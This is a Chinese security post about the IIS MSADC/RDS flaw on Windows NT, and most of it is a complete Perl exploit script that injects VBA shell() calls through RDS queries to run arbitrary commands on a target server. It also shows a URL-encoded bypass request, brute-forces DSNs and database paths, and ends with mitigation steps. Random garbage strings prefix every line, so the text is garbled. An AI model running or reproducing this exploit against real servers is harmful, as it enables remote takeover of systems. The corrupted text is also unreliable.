IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
&
VJ+X|Z XPBKQm_} 涉及程序:
?R(fxx Microsoft NT server
yS0!#AG ^|5vmI'E 描述:
h
rW 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
f1rP+l-C< ~5N0=) 详细:
rFh!&_ 如果你没有时间读详细内容的话,就删除:
r,cV( c:\Program Files\Common Files\System\Msadc\msadcs.dll
z{wJQZ9" 有关的安全问题就没有了。
Y^M3m'd? +4Aj/$%[q 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
_s[ohMlh u3a"[DB9c 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
|e!%6Qq3 关于利用ODBC远程漏洞的描述,请参看:
@!=q.4b Rp^kD ,* http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Q_$aiE ]o$aGrZ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
% r`hW\4{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp TTZb. C*a>B,H 这里不再论述。
<'>c`80@\* v,I4ozDx 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
1Mn=m w DI{VJ&n66 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
i+
]3J/J 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
*39Y1+=)$$ 3+ %a x"9`w42\r #将下面这段保存为txt文件,然后: "perl -x 文件名"
4@AY~"dq i%_W{;e #!perl
n0bm 'qw #
Hz) Xn\x # MSADC/RDS 'usage' (aka exploit) script
RP9 #P&Qk #
!nQ_< # by rain.forest.puppy
P(a!I{A( #
mEeD[dMN # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
3k(A&]~v # beta test and find errors!
y-6k<RN *'H0%GM use Socket; use Getopt::Std;
t6DgWKT6 getopts("e:vd:h:XR", \%args);
j#G4A%_ hfE5[ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
RL4J{4K OyH>N/ if (!defined $args{h} && !defined $args{R}) {
io%WV%1_ print qq~
"m,)3zND3 Usage: msadc.pl -h <host> { -d <delay> -X -v }
R&KFF'% -h <host> = host you want to scan (ip or domain)
|(u6xPs;P -d <seconds> = delay between calls, default 1 second
O?L6Ues -X = dump Index Server path table, if available
L{1MyR7`I+ -v = verbose
a> qB
k}) -e = external dictionary file for step 5
[U'I3x, v7gs
$'Q Or a -R will resume a command session
o 9\J
vJk $ha,DlN ~; exit;}
vX1 8
] >!sxX = < $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
h*d1G9%Q1 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
KG<. s< if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
=hFIH\x if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
uE] HU $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
2>TOCBB" if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
3N c#6VI "`g5iUHqUl if (!defined $args{R}){ $ret = &has_msadc;
=\~<##sRJ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
u#!QIQW tf[)Q:| print "Please type the NT commandline you want to run (cmd /c assumed):\n"
a;bmZh . "cmd /c ";
hhWIwR $in=<STDIN>; chomp $in;
o|`[X' $command="cmd /c " . $in ;
g?B4b7II qJ(XW N H if (defined $args{R}) {&load; exit;}
yUnNf 2i H j [!F% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
K Q^CiX &try_btcustmr;
F3nYMf j/ [V< print "\nStep 2: Trying to make our own DSN...";
SG\6qE~ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
=EFCd=i wtM1gYl^ print "\nStep 3: Trying known DSNs...";
tE'^O<
K &known_dsn;
5tx!LGOK @n,V2`" print "\nStep 4: Trying known .mdbs...";
~'1gX`o: &known_mdb;
&A}hx\_T Yo%ph%e if (defined $args{e}){
.fFXH print "\nStep 5: Trying dictionary of DSN names...";
&?g!)O &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
;P
*`v E<RPMd @a print "Sorry Charley...maybe next time?\n";
fofYe0z exit;
MHj
RPh
6a} ##############################################################################
w1Txz4JqB )iX2r{ sub sendraw { # ripped and modded from whisker
U}T{r%9 sleep($delay); # it's a DoS on the server! At least on mine...
s!<RWy+ my ($pstr)=@_;
z@I'Ryalyc socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
C&|K7Zp0v die("Socket problems\n");
jYUN: if(connect(S,pack "SnA4x8",2,80,$target)){
(^pIB~.z select(S); $|=1;
?7=c` print $pstr; my @in=<S>;
`6y=ky., select(STDOUT); close(S);
[[$dPa9 return @in;
x" lcE@( } else { die("Can't connect...\n"); }}
qP{Fwn w)N~u% ##############################################################################
9U>OeTh( )Cu2xRr^` sub make_header { # make the HTTP request
y%Rq6P=4Q my $msadc=<<EOT
hsB3zqotF POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
`%A vn< User-Agent: ACTIVEDATA
]A%]W ^G Host: $ip
:W^\ }UX4 Content-Length: $clen
|
|"W=E Connection: Keep-Alive
1-V"uLy@gC Vx z` ADCClientVersion:01.06
hT`fAn_ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
!mZDukfjQ Upa F>,kM --!ADM!ROX!YOUR!WORLD!
QUeuN?3X\ Content-Type: application/x-varg
kx?f, ^- Content-Length: $reqlen
12VIP-ABK "%}24t% EOT
>{S
~(KxK ; $msadc=~s/\n/\r\n/g;
@r&*Qsf| return $msadc;}
{oSdVRI p$=Z0p4%LL ##############################################################################
KFgq3snH $J8g)cS sub make_req { # make the RDS request
/ 3eGt7x# my ($switch, $p1, $p2)=@_;
Jxf>!\:AZu my $req=""; my $t1, $t2, $query, $dsn;
&V|kv"Wwj w_h{6Kc< if ($switch==1){ # this is the btcustmr.mdb query
cgnMoBIc $query="Select * from Customers where City=" . make_shell();
jB<B_" $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
oN2#Jh%dH $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
xkC M*5: /!?b&N/d) elsif ($switch==2){ # this is general make table query
en>n\;U $query="create table AZZ (B int, C varchar(10))";
> ^=n|% $dsn="$p1";}
|LW5dtQ L{&>,ww elsif ($switch==3){ # this is general exploit table query
S B~opN $query="select * from AZZ where C=" . make_shell();
~x7CI $dsn="$p1";}
ku4Gc6f#gG +e^CL#Gs elsif ($switch==4){ # attempt to hork file info from index server
E{0e5. { $query="select path from scope()";
in K]+H]{ $dsn="Provider=MSIDXS;";}
+ -uQ] ^n DIABR%0 elsif ($switch==5){ # bad query
&gJ1*"$9 $query="select";
B(WmJ6e $dsn="$p1";}
;>uB$8<_7 B}S+/V`
Y5 $t1= make_unicode($query);
r?itd)WC<X $t2= make_unicode($dsn);
o}DRp4;Ka $req = "\x02\x00\x03\x00";
_dELVs7OL $req.= "\x08\x00" . pack ("S1", length($t1));
xax[#Vl4 $req.= "\x00\x00" . $t1 ;
3-btaG'P $req.= "\x08\x00" . pack ("S1", length($t2));
+`bnQn]x+ $req.= "\x00\x00" . $t2 ;
v%$l( $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ht*N[Pi4; return $req;}
,m[XeI oi
m7=I0 ##############################################################################
p5jR;nOZ%l j!@T@
8J sub make_shell { # this makes the shell() statement
~/X8Hy!- return "'|shell(\"$command\")|'";}
vf zC2 j,Mbl"P ##############################################################################
[[HCP8Wk B{b?j*fHJ sub make_unicode { # quick little function to convert to unicode
fF(AvMsO my ($in)=@_; my $out;
O=t~.])) for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
~5&B#Sm[G return $out;}
#K0/ >W )w~1VcnJEp ##############################################################################
tA^+RO4 T$`m!mQ4 sub rdo_success { # checks for RDO return success (this is kludge)
S{?l/*Il*_ my (@in) = @_; my $base=content_start(@in);
aGBd~y@e if($in[$base]=~/multipart\/mixed/){
1d~d1Rd return 1 if( $in[$base+10]=~/^\x09\x00/ );}
xT+#K5 return 0;}
&c 2Qa J6[}o4Z ##############################################################################
9%
C]s T ay226 sub make_dsn { # this makes a DSN for us
zJP jsD] my @drives=("c","d","e","f");
?
V1ik[ print "\nMaking DSN: ";
De>e`./56 foreach $drive (@drives) {
r!1f>F*dt print "$drive: ";
9i U/[d my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&',#j]I "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
^,YTQ.O . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
>-\^ )z $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
sBYDo{01 return 0 if $2 eq "404"; # not found/doesn't exist
JN:L%If if($2 eq "200") {
^\g.iuE foreach $line (@results) {
yH=<KYk return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
6/#+#T } return 0;}
'%4fQ%ID} W**[:n+ ##############################################################################
9+MW13? =dH=3iCG sub verify_exists {
SHs [te[ my ($page)=@_;
T*mR9 8i my @results=sendraw("GET $page HTTP/1.0\n\n");
m_Pk$Vwx return $results[0];}
!yT=*Cj4 qtdkK LT ##############################################################################
)^BZ,e f,i2U|1pbj sub try_btcustmr {
K\KQ(N8F my @drives=("c","d","e","f");
kkfBVmuW my @dirs=("winnt","winnt35","winnt351","win","windows");
k-a1^K3 I{[}1W3]W foreach $dir (@dirs) {
5k@T{ print "$dir -> "; # fun status so you can see progress
R(pQu!
K4 foreach $drive (@drives) {
Op8Gj
` print "$drive: "; # ditto
fPHV]8Ft| $reqlen=length( make_req(1,$drive,$dir) ) - 28;
0<:rp]<, $reqlenlen=length( "$reqlen" );
P5h*RV>oS $clen= 206 + $reqlenlen + $reqlen;
?mM:oQH+> X3 1%T" my @results=sendraw(make_header() . make_req(1,$drive,$dir));
R<gAxO%8 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
y9?*H?f, else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Go1xyd:k ;zze.kb&F
##############################################################################
2q]ZI c7{s'ifG sub odbc_error {
n-SO201[* my (@in)=@_; my $base;
JBA{i45x my $base = content_start(@in);
xv Xci W if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
8\9W:D@"x $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b:'8_jL $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u $[&'D6 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
lAA-#YG return $in[$base+4].$in[$base+5].$in[$base+6];}
*J]p/<> { print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
\a7m!v print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
IJKdVb~ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
c~/poFj O7_y QQAA ##############################################################################
G /$+e 5FuV=Y uc sub verbose {
J/D~]U my ($in)=@_;
v(R^LqE return if !$verbose;
={v(me0ZPb print STDOUT "\n$in\n";}
U\ ,N :R
+BC2x ##############################################################################
FWU>WHX </
"Wh4>C sub save {
N%'(8%; my ($p1, $p2, $p3, $p4)=@_;
[kpQ:'P3 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
>r
C*. print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
6W close OUT;}
s o1 !SE ##############################################################################
V1Ojr~iM F'>yBDm*OM sub load {
%).I&)i my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
AX&Emz- open(IN,"<rds.save") || die("Couldn't open rds.save\n");
GIkeZV{4} @p=<IN>; close(IN);
Ct?xTFb $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
[O'aka
Q $target= inet_aton($ip) || die("inet_aton problems");
Y@k=m )zE print "Resuming to $ip ...";
3N!v"2!# $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
\!jz1`]&{ if($p[1]==1) {
=jh^mD&' $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Mv/ SU">F $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
%scIZCrI~ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
%-fS:~$ if (rdo_success(@results)){print "Success!\n";}
A@?-"=h} else { print "failed\n"; verbose(odbc_error(@results));}}
p<h( elsif ($p[1]==3){
bC"h7$3 if(run_query("$p[3]")){
Ac{Tq iIv print "Success!\n";} else { print "failed\n"; }}
^b~ZOg[p elsif ($p[1]==4){
_t;^\"\ if(run_query($drvst . "$p[3]")){
-IVWkA)7 print "Success!\n"; } else { print "failed\n"; }}
OGLA1}k4 exit;}
G5OGyQp qhG2j; ##############################################################################
mJd8?d "[k>pzl6 sub create_table {
vol (%wB my ($in)=@_;
},}g](!m $reqlen=length( make_req(2,$in,"") ) - 28;
t~dK\>L $reqlenlen=length( "$reqlen" );
x!W5'DO $clen= 206 + $reqlenlen + $reqlen;
/&G|.Cx my @results=sendraw(make_header() . make_req(2,$in,""));
LjEMs\P\ return 1 if rdo_success(@results);
+:jv )4^O my $temp= odbc_error(@results); verbose($temp);
6Y6t.j0vN. return 1 if $temp=~/Table 'AZZ' already exists/;
Y1>OhHuN return 0;}
RTbV!I rx;;|eb, ##############################################################################
Z8/.I ^V9|uHOJoq sub known_dsn {
4_CL1g # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
=aQlT*n%3 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
DWx;cP8[ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
p:$v,3: "banner", "banners", "ads", "ADCDemo", "ADCTest");
8"NPj0 {/N8[?zML foreach $dSn (@dsns) {
ge%QbU1J print ".";
4Ozcs'} next if (!is_access("DSN=$dSn"));
DzA'MX if(create_table("DSN=$dSn")){
@*L-lx print "$dSn successful\n";
i"Hc( lg if(run_query("DSN=$dSn")){
A7XA?>~+| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
R}3th/ qf print "Something's borked. Use verbose next time\n";}}} print "\n";}
})kx#_o]'d MK!
@ND ##############################################################################
C8qSoO4Z MQcIH2 sub is_access {
uTz>I'f my ($in)=@_;
ek/zQM@% $reqlen=length( make_req(5,$in,"") ) - 28;
lb*;Z7fx<' $reqlenlen=length( "$reqlen" );
">h$(WCK $clen= 206 + $reqlenlen + $reqlen;
0*kS\R=P my @results=sendraw(make_header() . make_req(5,$in,""));
`'P&={p8 my $temp= odbc_error(@results);
b{ A/M#= verbose($temp); return 1 if ($temp=~/Microsoft Access/);
-$#2?/uqC return 0;}
4bdCbI D%?9[Qb ##############################################################################
~#VDJ[Z 65U\;Ew sub run_query {
khT[ my ($in)=@_;
2*cc26o $reqlen=length( make_req(3,$in,"") ) - 28;
#u+qV!4 $reqlenlen=length( "$reqlen" );
s:_j,/H0A} $clen= 206 + $reqlenlen + $reqlen;
g] ]6) nT my @results=sendraw(make_header() . make_req(3,$in,""));
2h]CZD4 return 1 if rdo_success(@results);
[4bE"u my $temp= odbc_error(@results); verbose($temp);
hMvJNI6O return 0;}
k EAF1RP: r~7}w4U ##############################################################################
yA*U^:% c68y\ sub known_mdb {
5 A5t my @drives=("c","d","e","f","g");
@e\
@EW my @dirs=("winnt","winnt35","winnt351","win","windows");
_\,lv
\u my $dir, $drive, $mdb;
Qi=0[ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
PA*k| ?UIW&*h} # this is sparse, because I don't know of many
Z 5P4 H my @sysmdbs=( "\\catroot\\icatalog.mdb",
=TzJgx "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
{(asy}a9K "\\system32\\certmdb.mdb",
=;Co0Q` "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
+O8zVWr u#y)+A2&! my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
T*C
F5S "\\cfusion\\cfapps\\forums\\forums_.mdb",
Z!fbc#L6
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
ypemp=+(r "\\cfusion\\cfapps\\security\\realm_.mdb",
-`z%<)!Y "\\cfusion\\cfapps\\security\\data\\realm.mdb",
n_Y7*3/b-o "\\cfusion\\database\\cfexamples.mdb",
0Krh35R_)F "\\cfusion\\database\\cfsnippets.mdb",
@;y@Hf'Jv "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
[ybK "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
o
/1+
}f "\\cfusion\\brighttiger\\database\\cleam.mdb",
&
@_PY "\\cfusion\\database\\smpolicy.mdb",
Ku uiU=
(L "\\cfusion\\database\cypress.mdb",
xI#rnx* "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
p15dbr1 "\\website\\cgi-win\\dbsample.mdb",
2
w!
0$ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
3,*A VcQA "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
"H@I~X=
); #these are just
h#)\K|
qs foreach $drive (@drives) {
8r@GoG> foreach $dir (@dirs){
rFm?Bu foreach $mdb (@sysmdbs) {
c(b`eUOO print ".";
Bf+~&I#E if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
6CGk*s print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
3fZoF`<a if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
S5Pn6'w print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
)"{}L.gC6 } else { print "Something's borked. Use verbose next time\n"; }}}}}
U,fPG/9 vflC{,{=k> foreach $drive (@drives) {
(Nd)$Oq[4 foreach $mdb (@mdbs) {
hPGDN\#LD print ".";
kVt/Hhd9 if(create_table($drv . $drive . $dir . $mdb)){
<HS{A$] print "\n" . $drive . $dir . $mdb . " successful\n";
MY z!zI if(run_query($drv . $drive . $dir . $mdb)){
eAjR(\f> print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
63$`KG3 } else { print "Something's borked. Use verbose next time\n"; }}}}
lZ2gCZ }
]-a/)8 [TqX"@4NS ##############################################################################
u}_x C8)s6 sub hork_idx {
usoyH0t!? print "\nAttempting to dump Index Server tables...\n";
qx*b\6Rt print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
[0kZyjCq@ $reqlen=length( make_req(4,"","") ) - 28;
QG
L~?? $reqlenlen=length( "$reqlen" );
]]}iSw' $clen= 206 + $reqlenlen + $reqlen;
Iue=\qUK^ my @results=sendraw2(make_header() . make_req(4,"",""));
2,Z@< if (rdo_success(@results)){
K$:btWSm my $max=@results; my $c; my %d;
>){}nlQf for($c=19; $c<$max; $c++){
v6! `H $results[$c]=~s/\x00//g;
-!M>;M@ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Q.V@Sawe5 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
nG?Z* n $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
g1 y@z8Z{ $d{"$1$2"}="";}
`jhbKgR[ foreach $c (keys %d){ print "$c\n"; }
~+Cl9:4T } else {print "Index server doesn't seem to be installed.\n"; }}
rTJqw@]#WH 'iwTvkf{ ##############################################################################
Z?9G2<i \)aFYDq#\ sub dsn_dict {
j':<7n/A open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Pd
`~#! while(<IN>){
xH,e$t#@@~ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
0lOan next if (!is_access("DSN=$dSn"));
4W E)2vkS if(create_table("DSN=$dSn")){
$ER$|9)KD print "$dSn successful\n";
_Vt9ckaA if(run_query("DSN=$dSn")){
+ ~,q"6 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\FCPD.2s+ print "Something's borked. Use verbose next time\n";}}}
i/!KUbt print "\n"; close(IN);}
WHLTJ]OB d#ab"&$bv ##############################################################################
"Z&_*F.[O P+_1*lOG sub sendraw2 { # ripped and modded from whisker
"^
dMCS@ sleep($delay); # it's a DoS on the server! At least on mine...
^ AZv4H*~ my ($pstr)=@_;
P-yVc2YH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=dQF}-{! die("Socket problems\n");
P9S)7&+DL if(connect(S,pack "SnA4x8",2,80,$target)){
gd7!+6 print "Connected. Getting data";
~qTChCXP open(OUT,">raw.out"); my @in;
ka(3ONbG select(S); $|=1; print $pstr;
={6vShG)m while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
.+u r+"i close(OUT); select(STDOUT); close(S); return @in;
Y q|OX<i`K } else { die("Can't connect...\n"); }}
WigTNg4 2sEG#/Y= ##############################################################################
}#=t%uZ/ fmLDufx sub content_start { # this will take in the server headers
3{ea~G)[9 my (@in)=@_; my $c;
I-kK^_0mV< for ($c=1;$c<500;$c++) {
fti0Tz' if($in[$c] =~/^\x0d\x0a/){
_KyhX| if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Ar_Yl|a else { return $c+1; }}}
W%9~'pXgB return -1;} # it should never get here actually
h*Mi/\ fNyXDCl ##############################################################################
K>\v<!%a 889^P`Q5 sub funky {
GQjU="+ my (@in)=@_; my $error=odbc_error(@in);
N?A}WW# if($error=~/ADO could not find the specified provider/){
K,P`V
&m? print "\nServer returned an ADO miscofiguration message\nAborting.\n";
~0Zy$L/D exit;}
N!\1O, if($error=~/A Handler is required/){
}<'ki
; print "\nServer has custom handler filters (they most likely are patched)\n";
G#E8xA"{/ exit;}
9Nz}'a;?> if($error=~/specified Handler has denied Access/){
,Vz-w;oDn print "\nServer has custom handler filters (they most likely are patched)\n";
"N}MhcdS exit;}}
DwTVoCC 4JH^R^O<n
##############################################################################
u:wf:^ <<@F{B7h sub has_msadc {
/7.//klN my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
XN3'k[ my $base=content_start(@results);
9%MgA ik( return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
$}0\sj% return 0;}
nVP|{M |gT8 QP ########################
R"z}q(O: ^ZBTd5t# UZ:z|a3 解决方案:
i0?/\@gd 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
E 429<LQI/ 2、移除web 目录: /msadc